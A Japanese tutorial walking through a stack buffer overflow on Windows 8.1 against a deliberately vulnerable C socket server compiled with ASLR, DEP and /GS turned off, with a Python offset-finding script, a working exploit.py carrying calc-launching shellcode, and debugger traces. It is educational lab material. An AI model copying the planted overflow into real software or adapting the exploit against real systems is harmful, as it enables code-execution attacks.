Windowsで単純なスタックバッファオーバーフロー攻撃をやってみる

Windowsで各種セキュリティ機構をオフにして、単純なスタックバッファオーバーフローによるシェルコード実行をやってみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

>cdb -version
cdb version 6.3.9600.17298

脆弱性のあるプログラムを書いてみる

まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。 ここではTCPの4444番ポートをlistenし、このポートからソケット経由で入力を受け付けるようにする。

/* bof.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void bof(SOCKET c)
{
    char buf[400];
    printf("[+] buf = %p\n", buf);
    recv(c, buf, 1024, 0);
}

int main()
{
    WSADATA wsaData;
    SOCKET s, c;
    SOCKADDR_IN name;
    BOOL yes = 1;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));

    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(4444);

    bind(s, (SOCKADDR *)&name, sizeof(name));
    listen(s, 5);
    puts("[+] listening on 0.0.0.0 port 4444");

    c = accept(s, NULL, NULL);
    closesocket(s);
    puts("[+] connection accepted");

    bof(c);

    closesocket(c);

    ExitProcess(0);
}

上のコードでは、標準出力にbuf変数のアドレスを出力するようになっている。 Winsockのrecv関数は、受信するサイズが確保したバッファのサイズより極端に大きな値の場合WSAEFAULT(10014)エラーを返すことに注意する。

ASLRDEPstack canary(/GS)を無効にしてコンパイルする。 なお、WindowsにおいてASLRという用語はしばしばLinuxにおけるPIE相当の意味で使われ、ここでもそれに従うこととする。

>cl bof.c /GS- /link /nxcompat:no /dynamicbase:no

生成されたbof.exeを実行し、待ち受けているポートに接続すると次のようになる。

$ nc localhost 4444
foo
>bof.exe
[+] listening on 0.0.0.0 port 4444
[+] connection accepted
[+] buf = 0018FBF0

正常に実行できていることが確認できる。

バッファからリターンアドレスまでのオフセットを調べてみる

上のプログラムに対し、確保されたバッファサイズよりも大きなデータを送り込み、リターンアドレスが置かれているオフセットを調べてみる。 ここではCygwinに付属するPythonを用いるが、Windows版やLAN内にある他のLinux上のPythonを用いてもよい。

# test.py
import socket

bufsize = 400

buf = 'A' * bufsize
buf += 'aaaabbbbccccddddeeeeffff'

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

デバッガを使い、プログラムの動作を確認してみる。

>cdb bof.exe
(snip)
(1664.1698): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=c0430000 edx=00000000 esi=7ffde000 edi=00000000
eip=778a3bed esp=0018faec ebp=0018fb18 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
778a3bed cc              int     3
0:000> g
ModLoad: 74450000 7449b000   C:\WINDOWS\SysWOW64\mswsock.dll
[+] listening on 0.0.0.0 port 4444

接続を待ち受けている状態で、スクリプトを実行してみると次のようになる。

$ python test.py
0:000> g
ModLoad: 74450000 7449b000   C:\WINDOWS\SysWOW64\mswsock.dll
[+] listening on 0.0.0.0 port 4444
[+] connection accepted
[+] buf = 0018FBF0
(1664.1698): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000001a8 ebx=00000000 ecx=ad168f2e edx=0018fb34 esi=004014b4 edi=004014b4
eip=62626262 esp=0018fd88 ebp=61616161 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
62626262 ??              ???
0:000> q
quit:

上の結果より、saved ebpが0x61616161(aaaa)、リターンアドレスが0x62626262(bbbb)の位置に対応することがわかる。

エクスプロイトコードを書いてみる

ここまでの結果をもとに、リターンアドレスをシェルコードが置かれているアドレスに書き換えるエクスプロイトコードを書くと次のようになる。

# exploit.py
import socket
import struct

addr_buf = 0x0018FBF0
bufsize = 400

# WinExec("calc", SW_SHOWNORMAL); ExitProcess(0);
shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF'

buf = 'A' * bufsize
buf += 'AAAA'                                 # saved ebp
buf += struct.pack('<I', addr_buf+bufsize+8)  # retaddr -> shellcode below
buf += shellcode

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

上のコードでは、「Windowsで電卓を起動するシェルコードを書いてみる」で作成したシェルコードを使用している。

bof.exeを起動し、エクスプロイトコードを実行してみる。

$ python exploit.py

シェルコードが実行され、電卓が起動することが確認できる。

デバッガで動作を確認してみる

デバッガを使い、シェルコードが実行されるまでの様子を調べてみる。 まず、デバッグ情報を有効(/Zi)にして脆弱性のあるプログラムを再度コンパイルする。

>cl bof.c /Zi /GS- /link /nxcompat:no /dynamicbase:no

デバッガのもとでプログラムを起動し、bof関数内のret命令のアドレスにブレークポイントをセットした後、接続を待ち受けてみる。

>cdb bof.exe

(snip)

Executable search path is:
ModLoad: 00400000 00430000   bof.exe
ModLoad: 777f0000 7795e000   ntdll.dll
(snip)
(5b0.1174): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=5fd70000 edx=00000000 esi=7ffde000 edi=00000000
eip=778a3bed esp=0018faec ebp=0018fb18 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
778a3bed cc              int     3
0:000> u bof!bof
*** WARNING: Unable to verify checksum for bof.exe
bof!bof:
00401020 55              push    ebp
00401021 8bec            mov     ebp,esp
00401023 81ec90010000    sub     esp,190h
00401029 8d8570feffff    lea     eax,[ebp-190h]
0040102f 50              push    eax
00401030 6800b04200      push    offset bof!__rtc_tzz <PERF> (bof+0x2b000) (0042
b000)
00401035 e81c020000      call    bof!printf (00401256)
0040103a 83c408          add     esp,8
0:000> u
bof!bof+0x1d:
0040103d 6a00            push    0
0040103f 6800040000      push    400h
00401044 8d8d70feffff    lea     ecx,[ebp-190h]
0040104a 51              push    ecx
0040104b 8b5508          mov     edx,dword ptr [ebp+8]
0040104e 52              push    edx
0040104f ff15a0f14200    call    dword ptr [bof!_imp__recv (0042f1a0)]
00401055 8be5            mov     esp,ebp
0:000> u
bof!bof+0x37:
00401057 5d              pop     ebp
00401058 c3              ret
00401059 cc              int     3
0040105a cc              int     3
0040105b cc              int     3
0040105c cc              int     3
0040105d cc              int     3
0040105e cc              int     3
0:000> bp 00401058
0:000> g
ModLoad: 74450000 7449b000   C:\WINDOWS\SysWOW64\mswsock.dll
[+] listening on 0.0.0.0 port 4444

次に、エクスプロイトコードを実行しプログラムに接続する。

$ python exploit.py

セットしておいたプレークポイントで停止していることを確認し、スタックの状態を調べた後シェルコードに実行が移っていることを確認する。

0:000> g
ModLoad: 74450000 7449b000   C:\WINDOWS\SysWOW64\mswsock.dll
[+] listening on 0.0.0.0 port 4444
[+] connection accepted
[+] buf = 0018FBF0
Breakpoint 0 hit
eax=00000222 ebx=00000000 ecx=4ae97922 edx=0018fb34 esi=00401631 edi=00401631
eip=00401058 esp=0018fd84 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
bof!bof+0x38:
00401058 c3              ret
0:000> dc esp
0018fd84  0018fd88 6065ebfc 8b64c033 408b3040  ......e`3.d.@0.@
0018fd94  14708b0c 244489ad 10688b1c 8b3c458b  ..p...D$..h..E<.
0018fda4  03782854 184a8bd5 03205a8b 4937e3dd  T(x...J..Z ...7I
0018fdb4  038b348b acff33f5 0774c084 030dcfc1  .4...3....t.....
0018fdc4  3bf4ebf8 7524247c 245a8be4 8b66dd03  ...;|$$u..Z$..f.
0018fdd4  5a8b4b0c 8bdd031c c5038b04 1c244489  .K.Z.........D$.
0018fde4  515a5961 748be0ff a8eb1c24 6850c033  aYZQ...t$...3.Ph
0018fdf4  636c6163 016ac48b fe986850 84e80e8a  calc..j.Ph......
0:000> u esp+4
0018fd88 fc              cld
0018fd89 eb65            jmp     0018fdf0
0018fd8b 60              pushad
0018fd8c 33c0            xor     eax,eax
0018fd8e 648b4030        mov     eax,dword ptr fs:[eax+30h]
0018fd92 8b400c          mov     eax,dword ptr [eax+0Ch]
0018fd95 8b7014          mov     esi,dword ptr [eax+14h]
0018fd98 ad              lods    dword ptr [esi]
0:000> p
eax=00000222 ebx=00000000 ecx=4ae97922 edx=0018fb34 esi=00401631 edi=00401631
eip=0018fd88 esp=0018fd88 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0018fd88 fc              cld
0:000> g
Application "\??\C:\WINDOWS\SYSTEM32\calc.exe" found in cache
eax=00000000 ebx=778ef820 ecx=0018f141 edx=0000003e esi=00000000 edi=00401631
eip=7782c73c esp=0018fc94 ebp=0018fd60 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!NtTerminateProcess+0xc:
7782c73c c20800          ret     8
0:000> q
quit:

ここで、cldはシェルコードの最初の命令である。

関連リンク